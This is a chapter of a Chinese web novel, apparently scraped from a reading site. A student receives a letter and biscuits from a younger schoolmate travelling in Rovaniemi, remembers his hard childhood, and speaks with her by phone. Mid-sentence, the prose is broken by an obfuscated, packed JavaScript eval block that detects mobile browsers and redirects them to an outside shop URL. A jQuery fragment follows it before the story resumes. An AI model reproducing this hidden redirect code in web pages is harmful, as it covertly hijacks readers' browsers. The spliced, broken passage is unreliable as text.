日子还是飞快地过去，一成不变。


    好久没有见到姜知了。他把对学妹学业的负责视为分内之事，却忽略了“频繁想起”这件事本就不同寻常。说是下次，但他们好几个星期都没再联系。


    上完实验课，周时屿和室友几人一起坐在专业教室，黑板上留着老师的笔记。


    室友在不远处聊了会天，勾肩搭背地走出去。


    周时屿看着那几个背影在视野里越来越小。他和他们其实也不熟，就认识前杰，还忘了他的姓。很快，教室内便没了声音，周时屿在讲台边坐下，找到上课提过的那几个测量仪器，开始操作。


    专注的身影吸引了不少路过的人，但也只是站在门口，看了会就走了。


    -


    室友回来时带了一大堆东西，快递和午饭，还包括由远及近喧闹声。


    前杰走到桌前：“周时屿又有你的东西。”


    众所周知，每个校草身边都会有个传信的兄弟，充当中转站的作用。


    周时屿低头调配着仪器：“帮忙处理了吧。”


    “哦，”前杰拿着看了又看，对精致的包装一时下不去手，提醒他，“署名姓姜。”


    “等等，”他突然惊觉，“什么东西？”


    “一个礼盒，你自己拆吧，”又顿了顿，“还有封信，说不定是情书哦。”


    情书？


    这个飘渺的概念莫名有了实感。


    周时屿高中时没少收到各种样式的情书，但对他而言是困扰大于其他的。满脑子都是考上大学的人，哪有心思去管别的？那些充满粉红泡泡的信件，没被本人打开看过一次。


    如果是姜知……给他写情书，简直难以想象。


    带着自己也说不出是什么的心情，他小心地解下蝴蝶结，将盒底抽出，是一盒饼干，外包装上印了烫金的英文。牛皮纸信封上印有一个小小的雪花邮戳，他拆开信封，读起来：


    “哈喽学长，这是一封来自罗瓦涅米的信！我知道现在这个年代很少有人写信了，你一定被吓了一大跳吧哈哈哈。导游非要说是当地的特色，我也被拉着参与了一下。但又不知道写给谁……直到他们提醒，可以给最新认识的朋友寄，然后就想到你了。好像到这里为止都是些废话，抱歉抱歉。”


    “我查了国内的天气，晴空万里，但是我这里却飘起了雪，最近的那片就停在我的耳边。我们上学的地方在南方，好像雪就成了很稀罕的东西。当然是我这么认为而已，所以看着形状分明的雪却不会融化，更觉得它是自然的馈赠，竟然精雕细琢出了那么美丽的形状。会不会是上帝拿着模具在费力赶工呢，当然了我是无神论者，这只是一个比喻——”


    “我朋友又在说我写字慢了，不知道你有没有那样的朋友，干什么都特别快，在他们身边就总有种紧迫感。好神奇呀，语言文化都不通的地方，我第一次觉得快慢是可以被摒弃的，不用担心不努力就会被落下，只需要静静感受雪山和大地的脉搏呼吸。夕阳在天际漫出红光，夜间有飞鸟略过，光是看着就很美好，和我的心情一样。如果学长下次来玩的话，我可以给你当导游了呢。”


    “嗯，我也不确定导游会不会真的送到你手上，你又会不会打开看这封信。毕竟写的时候也没太在意逻辑，不过确实是我此时此刻的感想！饼干很好吃，是焦糖味的，要是你没耐心看长篇大论的话，至少可以吃到好吃的饼干，他们代表了差不多的意思。好啦，我朋友都快等得发霉了，那就回国见吧！还有好多问题想请教你，也许我变聪明了…一点点。”


    周时屿合上信，飘着雪的画卷在他的面前展开。


    明明只有几行字，芬兰的阳光却也照进了他如仪器一样精密的生活里，把里面的脉络纹理都照得清晰。


    还有张明信片，是全英文。


    “Mayeachdaydawnbright,andfindyoubathedinitslight.”


    祝福你：日日如熹，如沐光中。


    -


    室友A凑过来看了一眼：“里三层外三层包成这样，只是饼干啊。”


    室友B：“这届学妹的诚意不够啊，我记得去年有人还送了限量款手表，是吧前杰？”


    笑声刺耳，周时屿用身体挡住桌上的东西，要不是真的着急，他根本不会选在这里拆。把信、明信片和饼干全收好，才扫过他们的脸，冷声道：“饼干并没有什么不好。”


    那几人悻悻地走开，估计对他印象更差了。


    周时屿的思绪飘远。除却这是姜知送的之外，也是他确实梦寐以求过的东西。


    -


    他想起来小学时，有段时间很喜欢吃一款饼干，当时家里的条件不好，非必需品是很难被添置的。


    那是母亲第一次带他进城找素未谋面的父亲。大巴上，母亲脸上是前所未有的兴奋，搓着他冰凉的脸说小屿，说不定我们能过上好日子了呢。


    车身老旧，摇摇晃晃，温差让窗玻璃的内侧起了一层白雾。不知道好日子到底是什么，他只关心下着雪，母亲的身体能不能坚持到回家。那天似乎是圣诞节，店前贴满了红红绿绿的装饰，放着脍炙人口的那首歌。周时屿站在展柜前，大抵是放假，路过的城里小孩笑得格外开心，鞋底踏在松软的积雪上，发出“咯吱咯吱”的响声。


    邹美华到车站去兑票，他就留在原地，盯着圣诞树上那颗华美的星星。


    邹美华和周平生吵了一架，余怒未消，刚想直接把周时屿带走，却发现男孩的视线停留在蛋糕房的货架上，一动不动。


    售货员姐姐注意到，温声问：“小朋友，你想吃这个饼干吗？”


    周时屿点点头。


    邹美华想了想，有点不舍得打破儿子难得流露的渴望，只说：“可是这个饼干很贵，如果买了，接下来的一个星期我们都只能吃青菜泡饭，吃不到一点肉。”


    这对小孩而言是最直观的拒绝方式。


    可他还是很想吃。上星期班上的同学分给了他半块，他掰成小块一点点吃到了傍晚，到现在还是忘不了那陌生的香甜的口感，一扇新世界的大门就此被打开。


    而青菜泡饭也不算很难吃，如果是为了能够吃到饼干。


    风雪很大，他们站在露天的店口，母亲忍不住咳嗽了两声，面色发白。


    城市的圣诞图景好像一场梦，面包店，叮叮当当的摇篮曲，而现在周时屿醒过来，拉着邹美华的手向前走，说我不要了。


    戒断不是很难的事。


    售货员在身后喊可以免费给你试吃一块啊，但他连头也没回过一次。


    -


    而关于父亲，确定的是那个人又加重了母亲的病情。


    在学生时代，分隔开人和人的仍旧是自尊，周时屿也不例外。


    他有一段时间把自己困在一种无形桎梏，躲在小小的领地里不愿意和任何人交流。好像真的变成一座孤岛，遥遥看着别人各有各的热闹，脸上扯不出更得体的笑容。


    忙碌有一部分是生活所需，更多的还是麻痹自我的手段，如果只有一刻不停地运转才不会感到空虚，那就这样践行吧。


    于是，才有了堪称完美答案的优秀履历。


    不熟的人可能会觉得他高冷，不好接近，只敢在远处投来敬慕的眼光，熟悉的人干脆直抒胸臆自己的失望——你一个那么优秀的人，怎么能是这种性格？


    无独有偶。


    学生时代的滤镜太强大，奉承或爱慕的眼神，他都渐渐


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992532|193783||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    麻木。不想引发失望，干脆在初见时就以冷漠待人，其实算是自我保护。


    但有一个人是除外的。


    周时屿想起了他们的几次相处。她不会觉得尴尬，每次都能稳当地接住他的话，明白他的担忧和顾虑——当然了，周时屿也没有什么别的想法，只是感到放松，如果不被她讨厌的话，应该可以抵御一切不好的声音。


    为什么会对才认识不久的人进行这样的寄托？至少在看见室友戏谑的表情时，第一时间想起来的是姜知留下的纸条。


    “下次要直接说实话哟。”


    眼泪、斥责、新的账单、更少的饭。他对雪天没有什么好印象，可姜知说“它是大自然的馈赠”。确实，雪本身理应是美好的。


    -


    周时屿心猿意马地给课后作业收了尾，拿起手机，看见姜知发了新动态，应该是罗瓦涅米之行的照片。


    极光果然很漂亮，星空的轨迹在没什么建筑遮挡的夜空展现得淋漓尽致，下面的云杉像是棵真正的圣诞树。


    两个女孩站在画面中间，姜知站得尤其端正，另一个则手舞足蹈的，姜知的视线落在她脸上，带着类似宠溺的、无奈的笑意。


    划到了第二张，照片变成了三个人。


    周时屿的动作一顿。


    除了两个女生外，还有一个男生，高了她们一头，米色大衣上挂了三个包，但这样也没有很滑稽。他灿烂地笑着，三个人都站得很近，看起来够亲近的关系。


    不禁开始想，姜知信里提到的，会是哪一个朋友？


    这时，屏幕左侧的泰迪熊头像移到手机中间，姜知的电话突然打过来，周时屿吓了一跳，差点没拿稳，大步地走到走廊。


    -


    熟悉的声音从听筒里传来：“学长，信收到了吗？”


    周时屿说：“嗯，收到了。”


    “那就好，寄完之后我闺蜜才告诉我，他们邮局有不少送丢的案例，这完全是坑人啊，吓得我提心吊胆了一星期。”


    “玩得开心吗？”他问，语调不自觉变得柔和。


    “开心，就是真的好累啊，我们去雪地上看了极光，有好多种颜色，特别漂亮，我还许愿了呢，让我变聪明变聪明变聪明。”


    光是听她碎碎念就很有意思，周时屿的脸上漾起笑容，倚靠在墙上，疲惫的心情被一扫而空：“你现在还没回国是吗？”


    “明天就回，”姜知压低了点声音，“今天玩了一天，我发小都睡了，那我到时候来找你啊。”


    第一反应是关心项目的进度：“找到组队的人了吗？”


    “差不多了。”


    周时屿犹豫了片刻，还是说：“其实，多和队友们交流会比较好，不用总是来找我。”


    姜知拒绝，话里带着罕见的孩子气：“我不要，我就是想和你一起。”


    他被这句直白的表述弄得说不出话。


    听筒那端也沉默下来，两人的呼吸声同时放大，隔着6000公里彼此纠缠。


    “我慕强啊，我很势利的。”再开口时，姜知的声音沾上了些许笑意。


    周时屿心念一动，也听出玩笑的意思，和她说：“还是老地方。”


    姜知好像离听筒近了点，声音变得温柔而具体：“等我啊。这次要好好照顾自己，听见了没？”


    没得到回应，她又问了一遍：“听见了？学长。”


    宛如石子投进湖面，荡起细小的涟漪。


    他小声地应下：“听见了。”


    那几个室友已经走了，此时的教室空无一人，黄昏的夕阳照过来，半个走廊被染上金光，影子拖在地上，但并不显得孤单。周时屿放下手机，怔怔地想。


    戒断，真的不是很难的事吗？